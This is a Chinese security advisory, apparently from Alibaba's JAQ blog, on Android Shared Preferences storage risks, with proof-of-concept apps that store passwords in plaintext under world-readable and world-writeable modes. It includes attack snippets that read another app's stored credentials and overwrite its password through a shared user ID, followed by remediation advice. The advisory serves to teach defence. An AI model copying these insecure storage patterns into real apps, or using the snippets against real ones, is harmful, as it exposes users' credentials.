1. 安卓Shared Preferences存储安全风险描述
Android系统提供了以下四种Android应用本地存储方式:Shared Preferences、SQLite Databases、Internal Storage、External Storage等存储方式。Shared Preferences是一种轻量级的基于XML文件存储的键值对(key-value)数据的数据存储方式,一般用于储存应用的配置等信息【1】;Shared Preferences存储安全风险源于:1)开发者在创建文件时没有正确的选取合适的创建模式(MODE_PRIVATE、MODE_WORLD_READABLE以及MODE_WORLD_WRITEABLE)进行权限控制;2)开发者过度依赖Android系统内部存储安全机制,将用户信息、密码等敏感重要的信息明文存储在Shared Preferences文件中,导致攻击者可通过root手机来查看敏感信息。
在乌云漏洞平台上,存在大量Shared Preferences文件中明文存储个人身份信息、密码以及token等重要敏感信息导致泄露的漏洞,如网易阅读Android客户端漏洞导致账号密码泄漏[2]、高朋团购网泄漏用户敏感信息[3]、苏宁易购用户敏感信息泄露[4]、最新江苏移动营业厅官方手机android客户端应用目录两个文件明文存储登录使用的服务密码手机号等信息[5]。
2.安卓Shared Preferences存储安全影响范围
Android所有系统3.安卓Shared Preferences存储安全风险详情
1) 风险位置:
SharedPreferences.getSharedPreferences(String prefName, int mode);
2) 风险触发前提条件:
使用MODE_WORLD_READABLE模式创建Shared Preferences文件或使用MODE_WORLD_WRITEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值和测试签名;3) 风险原理:
a. 使用MODE_WORLD_READABLE模式创建Shared Preferences文件,使得其他应用对该Shared Preferences文件具备可读的权限;b. 使用MODE_WORLD_WRITEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值,使得其他应用对该应用的Shared Preferences文件具备可写的权限。
c. 在具备root权限的程序或用户对任何应用程序通过任意模式创建的的Shared Preferences文件都具有可读可写的权限。
4. Shared Preferences存储安全风险POC
1) 使用MODE_PRIVATE模式创建Shared Preferences文件,其他应用不可读取该应用的Shared Preferences文件的内容;通过MODE_PRIVATE模式创建Shared Preferences文件的代码片段:
String user=mEtUserName.getText().toString(); String pass=mEtPassword.getText().toString(); SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_PRIVATE).edit(); editor.putString("username", user); editor.putString("password", pass); editor.commit();该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_PRIVATE模式创建Shared Preferences文件:
通过adb shell进入系统终端,切换至su账户查看该应用创建的shared Preferences文件属性,得知其权限为“-rw-rw----”,其中others的权限不可读,如下图所示:
通过adb shell进入系统终端,通过普通用户查看该应用创建的Shared Preferences文件,如下图所示,将提示“Permission denied”:
其他应用查看该应用创建的Shared Preferences文件的代码片段:
Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY); SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE); String username = sharedPreferences.getString("username", ""); String password = sharedPreferences.getString("password", ""); mBtnCrackerContent.setText("user: " + username + "pwd: " + password);通过adb logcat发现以下日志,即提示没有权限查看该Shared Preferences文件:
2) 使用MODE_WORLD_READABLE模式创建Shared Preferences文件,其他应用可读取该应用创建的Shared Preferences文件,将会造成敏感信息泄露;
通过MODE_WORLD_READABLE模式创建Shared Preferences文件的代码片段:
String user=mEtUserName.getText().toString(); String pass=mEtPassword.getText().toString(); SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_WORLD_READABLE).edit(); editor.putString("username", user); editor.putString("password", pass); editor.commit();该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_WORLD_READABLE模式创建Shared Preferences文件:
通过adb shell进入系统终端,切换至su账户查看该应用创建的Shared Preferences文件属性,得知其权限为“-rw-rw-r--”,其中others具有可读权限,如下图所示:
通过adb shell进入普通用户的shell,查看通过MODE_WORLD_READABLE模式Shared Preferences文件”settings.xml”,文件内容如下图所示:
攻击代码片段:
Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY); SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE); String username = sharedPreferences.getString("username", ""); String password = sharedPreferences.getString("password", ""); mBtnCrackerContent.setText("user: " + username + "pwd: " + password);启动攻击应用,即可获取到包名为“com.alibaba.jaq.datastoragepoc”应用的Shared Preferences文件“settings.xml”的内容键值:
3) 使用MODE_WORLD_WRITEABLE模式创建Shared Preferences,虽然其他应用不可读取该应用的Shared Preferences文件,但是如果恶意应用与该POC应用具有相同的“android:sharedUserId”属性值和签名key时,恶意应用即可对其Shared Preferences文件进行写操作;
通过MODE_WORLD_WRITEABLE模式创建Shared Preferences的代码片段:
String user=mEtUserName.getText().toString(); String pass=mEtPassword.getText().toString(); SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_WORLD_WRITEABLE).edit(); editor.putString("username", user); editor.putString("password", pass); editor.commit();该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_WORLD_WRITEABLE模式创建Shared Preferences文件:
通过adb shell进入系统终端,切换至su账户查看创建的shared Preferences文件的权限为“-rw-rw--w-”,其中others具有可写权限,如下图所示:
通过adb shell进入普通用户的shell,查看通过MODE_WORLD_WRITEABLE模式shared Preferences文件”settings.xml”, 如下图所示,将提示“Permission denied”:
读取其他应用的shared Preferences的攻击代码片段:
Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY); SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE); String username = sharedPreferences.getString("username", ""); String password = sharedPreferences.getString("password", ""); mBtnCrackerContent.setText("user: " + username + "pwd: " + password);启动攻击应用读取包名为“com.alibaba.jaq.datastoragepoc”应用的shared Preference文件“settings.xml”时,将提示“Permission denied”:
写其他应用的Shared Preferences文件的攻击代码片段:
Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY); SharedPreferences.Editor editor = context.getSharedPreferences("settings", Context.MODE_WORLD_WRITEABLE).edit(); editor.putString("password", "hacked"); editor.commit();当受害应用和攻击应用都相同含有“android:sharedUserId”属性值时,攻击者即可对受害应用的Shared Perferences有写的权限:
受害者应用AndroidManifest.xml文件内容:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.alibaba.jaq.datastoragepoc" android:versionCode="1" android:versionName="1.0" android:sharedUserId="jaq.poc"> <uses-sdk android:minSdkVersion="10"/> <application android:label="@string/app_name" > <activity android:name="MainActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest>攻击者应用AndroidManifest.xml文件内容:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.alibaba.jaq.datastoragecrackerpoc" android:versionCode="1" android:versionName="1.0" android:sharedUserId="jaq.poc"> <uses-sdk android:minSdkVersion="10"/> <application android:label="@string/app_name" > <activity android:name="CrackerActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest>下图结果显示,当受害应用和攻击应用都相同含有“android:sharedUserId”属性值时,攻击者可写入受害应用通过MODE_WORLD_WRITEABLE模式创建的Shared Preferences:
4) root下可任意读写应用创建的Shared Preferences,因此不可将密码等用户敏感信息明文存储在Shared Preferences中,以防止Android设备被root之后,造成敏感信息的泄露以及财产损失;
5.Shared Preferences存储安全风险修复建议
1. 避免使用MODE_WORLD_WRITEABLE和MODE_WORLD_READABLE模式创建进程间通信的文件,此处即为Shared Preferences;
出于安全考虑,阿里聚安全建议不要使用全局可读模式和全局可写模式创建进程间通信的文件,此处即为但不限于Shared Preferences。如果需要与其他进程应用进行数据共享,请考虑使用content provider,详情参照Google官方安全指导[6]。
2. 避免将密码等敏感数据信息明文存储在Shared Preferences中;
出于安全考虑,阿里聚安全建议不要将密码等敏感信息存储在Shared Preferences等内部存储中,即使Android系统内部存储安全机制,使得内部存储文件可不让其他应用读写,但是在Android系统root之后,该安全机制将失效而导致信息泄露。因此应该将敏感信息进行加密存储在Shared Preferences等内部存储文件中,详情参照Google官方安全指导[6]。3. 避免滥用“android:sharedUserId”属性;
阿里聚安全建议不要在使用“android:sharedUserId”属性的同时,对应用使用测试签名,否则其他应用拥有“android:sharedUserId”属性值和测试签名时,将会访问到内部存储文件数据 [7]。引用
[1] http://developer.android.com/guide/topics/data/data-storage.html#pref
[2] http://www.wooyun.org/bugs/wooyun-2010-010056
[3] http://www.wooyun.org/bugs/wooyun-2010-016309
[4] http://www.wooyun.org/bugs/wooyun-2010-014308
[5] http://www.wooyun.org/bugs/wooyun-2010-079232
[6]http://developer.android.com/training/articles/security-tips.html#StoringData
[7]http://developer.android.com/guide/topics/manifest/manifest-element.html#uid
原文地址:http://jaq.alibaba.com/blog.htm?id=56